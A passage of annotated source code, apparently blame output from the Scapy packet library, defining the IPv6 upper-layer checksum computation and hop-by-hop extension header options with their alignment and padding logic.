629c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    selfup.dataofs  = old_selfup_dataofs
630c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
631c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    return res
632c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
6335e8857410015a93f6371459b2f870432ded39b9fgpotter                s1 = raw(selfup)
6345e8857410015a93f6371459b2f870432ded39b9fgpotter                s2 = raw(otherup)
635c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                l = min(len(s1), len(s2))
636c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return s1[:l] == s2[:l]
637c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
638c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return False
6390d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
640c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def mysummary(self):
641c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return Packet.mysummary(self)
642c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
643c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
644c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
645c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
646c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil###                 Upper Layer Checksum computation                      ###
647c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
648c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
649c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
650c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass PseudoIPv6(Packet): # IPv6 Pseudo-header for checksum computation
651c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "Pseudo IPv6 Header"
652c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ IP6Field("src", "::"),
653c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IP6Field("dst", "::"),
65477132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    ShortField("uplen", None),
655c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("zero", 0, 24),
6560d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    ByteField("nh", 0) ]
657c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
658c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhildef in6_chksum(nh, u, p):
659c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
660caab83b26dc3a90b1f5623acae16815ffaa1e1f6gpotter    As Specified in RFC 2460 - 8.1 Upper-Layer Checksums
661c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
662caab83b26dc3a90b1f5623acae16815ffaa1e1f6gpotter    Performs IPv6 Upper Layer checksum computation. Provided parameters are:
6630d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    - 'nh' : value of upper layer protocol
6640d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    - 'u'  : upper layer instance (TCP, UDP, ICMPv6*, ). Instance must be
6650d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz             provided with all under layers (IPv6 and all extension headers,
666c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             for example)
667c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    - 'p'  : the payload of the upper layer provided as a string
668c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
669c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    Functions operate by filling a pseudo header class instance (PseudoIPv6)
670c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    with
671c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    - Next Header value
672c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    - the address of _final_ destination (if some Routing Header with non
673c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    segleft field is present in underlayer classes, last address is used.)
6740d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    - the address of _real_ source (basically the source address of an
675c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    IPv6 class instance available in the underlayer or the source address
676c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    in HAO option if some Destination Option header found in underlayer
677c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    includes this option).
678c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    - the length is the length of provided payload string ('p')
679c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
680c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
681c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    ph6 = PseudoIPv6()
682c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    ph6.nh = nh
683c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    rthdr = 0
684c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    hahdr = 0
685c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    final_dest_addr_found = 0
686c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    while u != None and not isinstance(u, IPv6):
68777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        if (isinstance(u, IPv6ExtHdrRouting) and
68877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            u.segleft != 0 and len(u.addresses) != 0 and
689c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            final_dest_addr_found == 0):
69077132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            rthdr = u.addresses[-1]
691c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            final_dest_addr_found = 1
6928d1b927dcc57492d7ebf0923c61394e8b67db3e1Mathieu Xhonneux        elif (isinstance(u, IPv6ExtHdrSegmentRouting) and
6938d1b927dcc57492d7ebf0923c61394e8b67db3e1Mathieu Xhonneux            u.segleft != 0 and len(u.addresses) != 0 and
6948d1b927dcc57492d7ebf0923c61394e8b67db3e1Mathieu Xhonneux            final_dest_addr_found == 0):
6958d1b927dcc57492d7ebf0923c61394e8b67db3e1Mathieu Xhonneux            rthdr = u.addresses[0]
6968d1b927dcc57492d7ebf0923c61394e8b67db3e1Mathieu Xhonneux            final_dest_addr_found = 1
69777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        elif (isinstance(u, IPv6ExtHdrDestOpt) and (len(u.options) == 1) and
698c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             isinstance(u.options[0], HAO)):
699c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             hahdr  = u.options[0].hoa
70077132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        u = u.underlayer
7010d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    if u is None:
70277132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        warning("No IPv6 underlayer to compute checksum. Leaving null.")
70377132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        return 0
7040d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    if hahdr:
70577132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        ph6.src = hahdr
706c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    else:
707c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        ph6.src = u.src
708c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    if rthdr:
70977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        ph6.dst = rthdr
710c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    else:
71177132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        ph6.dst = u.dst
712c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    ph6.uplen = len(p)
7135e8857410015a93f6371459b2f870432ded39b9fgpotter    ph6s = raw(ph6)
714c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    return checksum(ph6s+p)
715c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
716c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
717c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
718c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
719c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil###                         Extension Headers                             ###
720c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
721c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
722c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
723c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
7240d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# Inherited by all extension header classes
725c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _IPv6ExtHdr(_IPv6GuessPayload, Packet):
726c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = 'Abstract IPV6 Option Header'
727c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    aliastypes = [IPv6, IPerror6] # TODO ...
728c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
729c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
730c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#################### IPv6 options for Extension Headers #####################
731c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
732c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil_hbhopts = { 0x00: "Pad1",
733c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             0x01: "PadN",
734c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             0x04: "Tunnel Encapsulation Limit",
735c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             0x05: "Router Alert",
736c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             0x06: "Quick-Start",
737c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             0xc2: "Jumbo Payload",
738c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             0xc9: "Home Address Option" }
739c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
740c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _OTypeField(ByteEnumField):
7410d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    """
742c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    Modified BytEnumField that displays information regarding the IPv6 option
743c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    based on its option type value (What should be done by nodes that process
744c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    the option if they do not understand it ...)
745c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
7460d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    It is used by Jumbo, Pad1, PadN, RouterAlert, HAO options
747c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
748c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    pol = {0x00: "00: skip",
749c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil           0x40: "01: discard",
750c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil           0x80: "10: discard+ICMP",
751c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil           0xC0: "11: discard+ICMP not mcast"}
7520d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
753c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    enroutechange = {0x00: "0: Don't change en-route",
754c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 0x20: "1: May change en-route" }
755c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
756c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2repr(self, pkt, x):
757c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        s = self.i2s.get(x, repr(x))
758c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        polstr = self.pol[(x & 0xC0)]
759c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        enroutechangestr = self.enroutechange[(x & 0x20)]
760c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return "%s [%s, %s]" % (s, polstr, enroutechangestr)
761c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
762c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass HBHOptUnknown(Packet): # IPv6 Hop-By-Hop Option
763c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "Scapy6 Unknown Option"
7640d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    fields_desc = [_OTypeField("otype", 0x01, _hbhopts),
765c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   FieldLenField("optlen", None, length_of="optdata", fmt="B"),
766c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   StrLenField("optdata", "",
7670d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                               length_from = lambda pkt: pkt.optlen) ]
768c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def alignment_delta(self, curpos): # By default, no alignment requirement
769c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        """
7700d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        As specified in section 4.2 of RFC 2460, every options has
7710d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        an alignment requirement ususally expressed xn+y, meaning
7720d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        the Option Type must appear at an integer multiple of x octest
773c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        from the start of the header, plus y octet.
7740d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
775c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        That function is provided the current position from the
776c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        start of the header and returns required padding length.
777c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        """
778c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return 0
779c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
780c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass Pad1(Packet): # IPv6 Hop-By-Hop Option
781c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "Pad1"
782c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ _OTypeField("otype", 0x00, _hbhopts) ]
783c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def alignment_delta(self, curpos): # No alignment requirement
784c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return 0
785c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
786c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass PadN(Packet): # IPv6 Hop-By-Hop Option
7870d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    name = "PadN"
788c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [_OTypeField("otype", 0x01, _hbhopts),
789c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   FieldLenField("optlen", None, length_of="optdata", fmt="B"),
790c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   StrLenField("optdata", "",
791c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                               length_from = lambda pkt: pkt.optlen)]
792c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def alignment_delta(self, curpos): # No alignment requirement
793c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return 0
794c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
795c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass RouterAlert(Packet): # RFC 2711 - IPv6 Hop-By-Hop Option
796c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "Router Alert"
797c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [_OTypeField("otype", 0x05, _hbhopts),
798f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero                   ByteField("optlen", 2),
799f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero                   ShortEnumField("value", None,
800f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero                                  { 0: "Datagram contains a MLD message",
801c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                    1: "Datagram contains RSVP message",
802f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero                                    2: "Datagram contains an Active Network message",
803f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero                                   68: "NSIS NATFW NSLP",
804f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero                                   69: "MPLS OAM",
805f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero                                65535: "Reserved" })]
806c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    # TODO : Check IANA has not defined new values for value field of RouterAlertOption
807f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero    # TODO : Now that we have that option, we should do something in MLD class that need it
808f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero    # TODO : IANA has defined ranges of values which can't be easily represented here.
809f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero    #        iana.org/assignments/ipv6-routeralert-values/ipv6-routeralert-values.xhtml
810c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def alignment_delta(self, curpos): # alignment requirement : 2n+0
811c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        x = 2 ; y = 0
81263ae11708b02df74dd3e8d2385d2829f3d622d66gpotter        delta = x*((curpos - y + x - 1)//x) + y - curpos
813c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return delta
814c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
815c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass Jumbo(Packet): # IPv6 Hop-By-Hop Option
8160d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    name = "Jumbo Payload"
817c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [_OTypeField("otype", 0xC2, _hbhopts),
818c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   ByteField("optlen", 4),
819c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   IntField("jumboplen", None) ]
820c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def alignment_delta(self, curpos): # alignment requirement : 4n+2
821c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        x = 4 ; y = 2
82263ae11708b02df74dd3e8d2385d2829f3d622d66gpotter        delta = x*((curpos - y + x - 1)//x) + y - curpos
823c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return delta
824c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
825c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass HAO(Packet): # IPv6 Destination Options Header Option
826c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "Home Address Option"
827c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [_OTypeField("otype", 0xC9, _hbhopts),
828c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   ByteField("optlen", 16),
829c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   IP6Field("hoa", "::") ]
830c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def alignment_delta(self, curpos): # alignment requirement : 8n+6
831c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        x = 8 ; y = 6
83263ae11708b02df74dd3e8d2385d2829f3d622d66gpotter        delta = x*((curpos - y + x - 1)//x) + y - curpos
833c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return delta
834c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
835c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil_hbhoptcls = { 0x00: Pad1,
836c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               0x01: PadN,
837c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               0x05: RouterAlert,
838c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               0xC2: Jumbo,
839c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               0xC9: HAO }
840c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
841c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
842c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil######################## Hop-by-Hop Extension Header ########################
843c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
844c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _HopByHopOptionsField(PacketListField):
845b62dbe4f266acaa96e0a2ebc2152c8d5f48bdc1dPierre LALET    __slots__ = ["curpos"]
846c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def __init__(self, name, default, cls, curpos, count_from=None, length_from=None):
847c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        self.curpos = curpos
848c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        PacketListField.__init__(self, name, default, cls, count_from=count_from, length_from=length_from)
8490d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
850c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2len(self, pkt, i):
851c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        l = len(self.i2m(pkt, i))
852c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return l
853c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
854c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2count(self, pkt, i):
855d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter        if isinstance(i, list):
856c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return len(i)
857c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return 0
858c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
859c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def getfield(self, pkt, s):
860c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        c = l = None
861c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if self.length_from is not None:
862c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            l = self.length_from(pkt)
863c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif self.count_from is not None:
864c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            c = self.count_from(pkt)
8650d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
866c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        opt = []
8671186356a1d73fd59b700d8af05e789d0e8899de6gpotter        ret = b""
868c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        x = s
869c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if l is not None:
870c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            x,ret = s[:l],s[l:]
871c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        while x:
872c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if c is not None:
873c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                if c <= 0:
874c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    break
875c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                c -= 1
876b612d8d9f626eeae3bc7eb2a10c139c4d79f381dgpotter            o = orb(x[0]) # Option type
877c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            cls = self.cls
878d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter            if o in _hbhoptcls:
879c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                cls = _hbhoptcls[o]
880c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            try:
881c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                op = cls(x)
882c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            except:
883c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                op = self.cls(x)
884c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            opt.append(op)
8857b3e970663abd72697e17b70aba9943ae0dad404Phil            if isinstance(op.payload, conf.raw_layer):
886c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                x = op.payload.load
887c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                del(op.payload)
888c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            else:
8891186356a1d73fd59b700d8af05e789d0e8899de6gpotter                x = b""
890c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return x+ret,opt
891c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
892c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2m(self, pkt, x):
893c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        autopad = None
894c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        try:
895c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            autopad = getattr(pkt, "autopad") # Hack : 'autopad' phantom field
896c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        except:
897c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            autopad = 1
8980d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
899c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if not autopad:
9001186356a1d73fd59b700d8af05e789d0e8899de6gpotter            return b"".join(map(str, x))
901c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
902c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        curpos = self.curpos
9031186356a1d73fd59b700d8af05e789d0e8899de6gpotter        s = b""
904c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        for p in x:
905c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            d = p.alignment_delta(curpos)
906c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            curpos += d
907c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if d == 1:
9085e8857410015a93f6371459b2f870432ded39b9fgpotter                s += raw(Pad1())
909c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            elif d != 0:
9105e8857410015a93f6371459b2f870432ded39b9fgpotter                s += raw(PadN(optdata=b'\x00'*(d-2)))
9115e8857410015a93f6371459b2f870432ded39b9fgpotter            pstr = raw(p)
912c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            curpos += len(pstr)
913c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            s += pstr
9140d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
915c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        # Let's make the class including our option field
916c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        # a multiple of 8 octets long
917c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        d = curpos % 8
918c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if d == 0:
919c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return s
920c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        d = 8 - d
921c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if d == 1:
9225e8857410015a93f6371459b2f870432ded39b9fgpotter            s += raw(Pad1())
923c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif d != 0:
9245e8857410015a93f6371459b2f870432ded39b9fgpotter            s += raw(PadN(optdata=b'\x00'*(d-2)))
925c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
926c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s
927c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
928c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def addfield(self, pkt, s, val):
929c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s+self.i2m(pkt, val)
930c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
931c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _PhantomAutoPadField(ByteField):
932c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def addfield(self, pkt, s, val):
933c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s
934c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
935c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def getfield(self, pkt, s):
936c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s, 1
937c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
938c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2repr(self, pkt, x):
939c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if x:
940c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return "On"
941c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return "Off"
942c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
943c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
9440d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass IPv6ExtHdrHopByHop(_IPv6ExtHdr):
945c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 Extension Header - Hop-by-Hop Options Header"
946c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
947c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("len", None, length_of="options", fmt="B",
